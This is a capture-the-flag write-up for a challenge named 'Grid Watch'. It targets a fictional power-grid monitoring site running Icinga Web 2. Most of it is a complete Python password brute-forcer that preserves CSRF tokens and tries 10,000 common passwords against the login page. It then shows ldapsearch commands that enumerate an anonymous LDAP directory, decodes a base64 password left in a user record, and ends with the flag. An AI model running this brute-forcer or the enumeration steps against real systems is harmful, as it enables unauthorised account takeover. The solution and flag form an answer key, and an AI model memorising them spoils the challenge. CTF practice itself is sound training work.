Grid Watch
🧠 Challenge Text¶
Hi, emergency troubleshooter,
the entire Monitoring Department went on a teambuilding trip to the Cayman Islands, into the wilderness outside civilization (and without any telecommunications), and forgot to appoint a deputy during their absence. Verify whether all power plants are still in good condition.
The only thing we know about the monitoring team is that they registered the domain gridwatch.powergrid.tcc.
Stay grounded!
🔍 Hints Text¶
1. Hint
Many systems like to keep things simple — their usernames often resemble their own names.🎨 Solution¶
Using the hint the user name candidate to try is icinga and
Top 10K passwords. To brute-force possible 10K password we need a script which handles CSFR token.
#!/usr/bin/env python3
"""
gridwatch.py
Purpose:
- Loads the Icinga Web 2 login page, preserves hidden inputs (CSRF),
submits username/password pairs, and checks whether the response
contains <ul class="errors"> (which may indicate login failure).
Usage:
- : example
python3 gridwatch.py --url http://gridwatch.powergrid.tcc:8080 --timeout 1 --delay 0.5 --pwds /top_10000_pwds
- See --help for other options.
Dependencies:
pip install requests beautifulsoup4
"""
import argparse
from pathlib import Path
import time
import sys
import requests
from bs4 import BeautifulSoup
# Default settings (edit if needed)
DEFAULT_DELAY = 2.0 # seconds between attempts (be polite)
DEFAULT_TIMEOUT = 10 # seconds for HTTP requests
USER_AGENT = "lab-script/1.0 (+https://example.com/)"
def get_login_form(session, login_url, timeout=DEFAULT_TIMEOUT):
"""
Fetch the login page and parse the first form that contains a password input.
Returns: (form_action_url, form_inputs_dict, username_field_name, password_field_name)
"""
resp = session.get(login_url, timeout=timeout)
resp.raise_for_status()
soup = BeautifulSoup(resp.text, "html.parser")
# find forms that have an input type=password
forms = soup.find_all("form")
assert len(forms) == 1
form = forms[0]
inputs = {}
for inp in form.find_all("input"):
name = inp.get("name")
if not name:
continue
value = inp.get("value", "")
# record hidden and default values
inputs[name] = value
password_field = 'password'
username_field = 'username'
return inputs, username_field, password_field
def submit_credentials(session, action_url, base_inputs, username_field, password_field,
username, password, timeout=DEFAULT_TIMEOUT):
"""
Submit the login form preserving hidden inputs.
Returns: Response object
"""
data = base_inputs.copy()
data[username_field] = username
data[password_field] = password
# perform POST (Icinga Web 2 may accept POST to the action URL or same page)
resp = session.post(action_url, data=data, timeout=timeout, allow_redirects=True)
return resp
def check_errors(resp):
"""
Check whether response content contains <ul class="errors"> and return found text (or None).
"""
soup = BeautifulSoup(resp.text, "html.parser")
ul = soup.find("ul", {"class": "errors"})
if ul:
return ul.get_text(separator=" ", strip=True)
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--url", required=True, help="Base URL of the app (e.g. http://gridwatch.powergrid.tcc:8080)")
parser.add_argument("--login-path", default="/authentication/login", help="Login page path if different")
parser.add_argument("--user", default="icinga", help="A text file of usernames")
parser.add_argument("--pwdf", help="A text file of passwords")
parser.add_argument("--delay", type=float, default=DEFAULT_DELAY, help="Seconds to wait between attempts")
parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT, help="HTTP timeout in seconds")
parser.add_argument("--max", type=int, default=0, help="Max attempts (0 = unlimited for provided creds)")
args = parser.parse_args()
login_url = args.url.rstrip("/") + args.login_path
# Build initial session
session = requests.Session()
session.headers.update({"User-Agent": USER_AGENT})
try:
action_url = login_url
base_inputs, username_field, password_field = get_login_form(session, login_url, timeout=args.timeout)
except Exception as e:
print(f"[!] Failed to parse login form: {e}", file=sys.stderr)
sys.exit(2)
print(f"[+] Login action URL: {action_url}")
print(f"[+] Username field: {username_field}, Password field: {password_field}")
print(f"[+] Hidden inputs preserved: {', '.join(k for k in base_inputs.keys() if k not in (username_field, password_field))}")
with open(Path(args.pwdf), encoding='utf-8') as f:
passwords = [l.strip() for l in f]
users = [args.user]
cred_list = [(u, p) for p in passwords for u in users]
if not cred_list:
print("[!] No credentials to try. Provide --user/--pass or --creds file.", file=sys.stderr)
sys.exit(1)
attempts = 0
for username, password in cred_list:
attempts += 1
if args.max and attempts > args.max:
print("[*] Reached max attempts; stopping.")
break
print(f"[>] Attempt {attempts}: username='{username}' password='{password}'")
try:
resp = submit_credentials(session, action_url, base_inputs,
username_field, password_field,
username, password, timeout=args.timeout)
except requests.RequestException as re:
print(f"[!] Request failed: {re}")
time.sleep(args.delay)
continue
err_text = check_errors(resp)
if err_text:
print(f" [-] Login likely FAILED (errors found): {err_text}")
else:
print(f"Found.")
break
# polite delay
time.sleep(args.delay)
print("[*] Done.")
if __name__ == "__main__":
main()
Just execute it and get test password for icinga user.
python gridwatch.py --url http://gridwatch.powergrid.tcc:8080 --timeout 1 --delay 0.5 --pwdf top_10000_pwds.txt
Continue with logging into icinga web portal. Among running services at Dashboard ldap service reveals its IPv4 address; 10.99.25.52 which is accessible. Lets try it out. Every LDAP server exposes a Root DSE (Directory Service Entry) — a special entry that describes the server itself and its naming contexts. You can query it with no base DN at all:
malisha@malisha-ASUS-TUF-Gaming-F15-FX506LH-FX506LH:~$ ldapsearch -x -H ldap://10.99.25.52:389 -s base -b "" "(objectClass=*)" namingContexts
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectClass=*)
# requesting: namingContexts
#
#
dn:
namingContexts: dc=ldap,dc=powergrid,dc=tcc
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Cool, we got full distinguished name
dc=tcc
└── dc=powergrid
└── dc=ldap
and now you can enumerate entries under that base using ldapsearch
$ ldapsearch -x -H ldap://10.99.25.52:389 -b "dc=ldap,dc=powergrid,dc=tcc" "(objectClass=*)"
...
# mscott, Users, ldap.powergrid.tcc
dn: uid=mscott,ou=Users,dc=ldap,dc=powergrid,dc=tcc
objectClass: inetOrgPerson
objectClass: top
uid: mscott
cn: mscott
sn: Scott
displayName: Michael Scott
description: UHdkIHJlc2V0IHRvIFRoYXRzd2hhdHNoZXNhaWQK
...
mscott and Thatswhatshesaid.
$ echo UHdkIHJlc2V0IHRvIFRoYXRzd2hhdHNoZXNhaWQK | base64 -d
Pwd reset to Thatswhatshesaid
Finally, login into icinga web portal again as mscott and check status of fusion.powergrid.tcc service at dashboard - Current status: FLAG{KWT6-EoVP-uE47-9PtN}.